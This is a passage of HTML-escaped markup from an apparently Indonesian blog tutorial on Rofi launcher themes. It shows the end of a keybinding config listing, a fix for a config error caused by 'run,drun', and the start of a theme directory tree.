&lt;/span&gt;&lt;span&gt;&quot;Delete,Control+d&quot;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;120&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;kb-remove-char-back:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;BackSpace,Shift+BackSpace,Control+h&quot;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;121&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;kb-remove-to-eol:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;Control+k&quot;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;122&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;kb-remove-to-sol:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;Control+u&quot;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;123&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;kb-accept-entry:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;Control+j,Control+m,Return,KP_Enter&quot;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;124&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;kb-accept-custom:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;Control+Return&quot;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;125&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;kb-accept-custom-alt:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;Control+Shift+Return&quot;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;126&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;kb-accept-alt:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;Shift+Return&quot;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;127&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;kb-delete-entry:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;Shift+Delete&quot;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;128&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;kb-mode-next:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;Shift+Right,Control+Tab&quot;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;129&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;kb-mode-previous:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;Shift+Left,Control+ISO_Left_Tab&quot;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;130&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;kb-mode-complete:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;Control+l&quot;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;131&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;kb-row-left:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;Control+Page_Up&quot;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;132&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;kb-row-right:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;Control+Page_Down&quot;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;133&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;kb-row-down:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;Down,Control+n&quot;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;134&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;kb-page-prev:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;Page_Up&quot;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;135&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;kb-page-next:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;Page_Down&quot;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;136&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;kb-row-first:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;Home,KP_Home&quot;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;137&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;kb-row-last:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;End,KP_End&quot;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;138&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;kb-row-select:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;Control+space&quot;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;139&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;kb-screenshot:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;Alt+S&quot;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;140&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;kb-ellipsize:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;Alt+period&quot;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;141&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;kb-toggle-case-sensitivity:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;grave,dead_grave&quot;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;142&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;kb-toggle-sort:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;Alt+grave&quot;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;143&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;kb-cancel:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;Escape,Control+g,Control+bracketleft&quot;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;144&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;kb-custom-1:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;Alt+1&quot;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;145&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;kb-custom-2:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;Alt+2&quot;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;146&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;kb-custom-3:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;Alt+3&quot;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;147&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;kb-custom-4:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;Alt+4&quot;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;148&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;kb-custom-5:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;Alt+5&quot;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;149&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;kb-custom-6:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;Alt+6&quot;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;150&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;kb-custom-7:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;Alt+7&quot;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;151&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;kb-custom-8:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;Alt+8&quot;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;152&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;kb-custom-9:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;Alt+9&quot;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;153&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;kb-custom-10:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;Alt+0&quot;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;154&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;kb-custom-11:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;Alt+exclam&quot;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;155&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;kb-custom-12:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;Alt+at&quot;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;156&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;kb-custom-13:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;Alt+numbersign&quot;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;157&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;kb-custom-14:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;Alt+dollar&quot;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;158&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;kb-custom-15:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;Alt+percent&quot;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;159&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;kb-custom-16:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;Alt+dead_circumflex&quot;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;160&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;kb-custom-17:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;Alt+ampersand&quot;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;161&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;kb-custom-18:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;Alt+asterisk&quot;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;162&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;kb-custom-19:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;Alt+parenleft&quot;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;163&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;kb-select-1:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;Super+1&quot;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;164&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;kb-select-2:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;Super+2&quot;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;165&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;kb-select-3:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;Super+3&quot;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;166&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;kb-select-4:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;Super+4&quot;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;167&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;kb-select-5:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;Super+5&quot;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;168&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;kb-select-6:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;Super+6&quot;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;169&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;kb-select-7:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;Super+7&quot;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;170&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;kb-select-8:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;Super+8&quot;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;171&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;kb-select-9:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;Super+9&quot;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;172&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;kb-select-10:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;Super+0&quot;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;173&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;ml-row-left:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;ScrollLeft&quot;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;174&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;ml-row-right:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;ScrollRight&quot;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;175&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;ml-row-up:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;ScrollUp&quot;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;176&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;ml-row-down:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;ScrollDown&quot;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;177&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;me-select-entry:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;MousePrimary&quot;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;178&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;me-accept-entry:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;MouseDPrimary&quot;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;179&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;me-accept-custom:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;Control+MouseDPrimary&quot;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;180&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;*/&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;181&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;span&gt;Show more&lt;/span&gt;&lt;span&gt;Show less&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Sebelum mulai mengkonfigurasi temanya, kita perlu memperbaiki &lt;em&gt;&lt;strong&gt;sesuatu&lt;/strong&gt;&lt;/em&gt; di file konfigurasinya terlebih dahulu karena menyebabkan Rofi tidak bisa berjalan dengan
semestina (&lt;em&gt;&lt;strong&gt;re&lt;/strong&gt;&lt;/em&gt;).
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;1055&quot; height=&quot;524&quot; src=&quot;/_astro/ss9.CtcxwyAr_Zkd2Yg.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Menurut keterangan &lt;em&gt;error&lt;/em&gt; di atas, kita perlu mengecek file konfigurasi di line 54…
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;188&quot; height=&quot;57&quot; src=&quot;/_astro/ss10.DDlwYpnh_1pwlvI.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Ada dua perintah di bawah bagian &lt;strong&gt;Fallback Icon&lt;/strong&gt;, yaitu &lt;code&gt;run,drun&lt;/code&gt;, mungkin itu yang membuat Rofi jadi bingung. So, kita hapus &lt;code&gt;run&lt;/code&gt;.&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h2&gt;Konfigurasi Tema Baru&lt;a href=&quot;#konfigurasi-tema-baru&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Sekarang, kita akan mulai mencoba tema baru. Tema-tema yang tadi sudah di-clone bisa dicoba di direktori &lt;code&gt;launchers&lt;/code&gt;. Nanti kita bisa menemukan ada 7 &lt;em&gt;type&lt;/em&gt; tema dimana di setiap &lt;em&gt;type&lt;/em&gt;-nya ada file &lt;strong&gt;&lt;code&gt;launcher.sh&lt;/code&gt;&lt;/strong&gt; yang kita eksekusi untuk menampilkan tema-nya. Setiap &lt;em&gt;type&lt;/em&gt; juga punya file konfigurasi tema yang beragam. Jadi, kita bisa mengganti opsi tema-nya berdasarkan file konfigurasi yang tersedia di setiap direktori &lt;em&gt;type&lt;/em&gt;.&lt;/p&gt;&lt;p&gt;Tapi, kita hanya perlu fokus di file &lt;strong&gt;&lt;code&gt;launcher.sh&lt;/code&gt;&lt;/strong&gt;-nya saja. Kira-kira nanti bagan direktori di &lt;code&gt;/home/$USER/.config../images/rofi/launchers/&lt;/code&gt; akan seperti ini:&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;span&gt;Show more&lt;/span&gt;&lt;span&gt;Show less&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;├──&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;type-1&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;│&lt;/span&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;├──&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;launcher.sh&lt;/span&gt;&lt;span&gt;      &amp;lt;&lt;/span&gt;&lt;span&gt;---&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;Fokus&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;ke&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;sini&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;│&lt;/span&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;├──&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;style-1.rasi&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;│&lt;/span&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;├──&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;style-2.rasi&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;│&lt;/span&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;└──&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;style-3.rasi&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;├──&lt;/span&gt;&lt;span&gt; 